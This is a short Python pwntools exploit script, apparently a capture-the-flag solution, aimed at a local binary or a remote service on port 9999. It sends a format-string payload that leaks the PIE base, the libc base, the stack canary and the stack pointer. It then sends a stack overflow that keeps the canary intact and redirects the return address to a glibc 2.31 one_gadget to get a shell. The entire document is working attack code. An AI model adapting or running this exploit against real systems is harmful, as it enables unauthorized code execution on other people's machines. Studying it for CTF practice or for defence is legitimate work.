defpayload(lo:int): global sh if lo: if lo & 2: sh = gdb.debug(EXE, 'b if $rdi == $rebase(0x2086)') else: sh = process(EXE) else: sh = remote('', 9999) elf = ELF(EXE) libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.31-0ubuntu9.15_amd64/libc.so.6') mainArena = libc.symbols['__malloc_hook'] + (libc.symbols['__malloc_hook'] - libc.symbols['__realloc_hook']) * 2
sh.sendlineafter(b'name\n', b'%15$p,%12$p,%7$p') main, arena, canary = map(lambda x: int(x, 16), sh.recvline().decode().split(',')) pieBase = main - elf.symbols['main'] libcBase = arena - mainArena sh.recvuntil(b'stack\n') rsp = int(sh.recvline(), 16) success(GOLD_TEXT(f'Leak PIE base: {hex(pieBase)}')) success(GOLD_TEXT(f'Leak libc base: {hex(libcBase)}')) success(GOLD_TEXT(f'Leak canary: {hex(canary)}')) success(GOLD_TEXT(f'Leak rsp: {hex(rsp)}')) oneGadget = libcBase + 0xe3b04 # after throw the control flow goes back to main, so we mod ret addr at main sh.send(b'0'*0x70 + p64(rsp + 0xa0) + p64(pieBase + elf.symbols['main'] + 168) + # leave rbp and ret addr unchanged p64(0) + p64(canary)*4 + p64(oneGadget))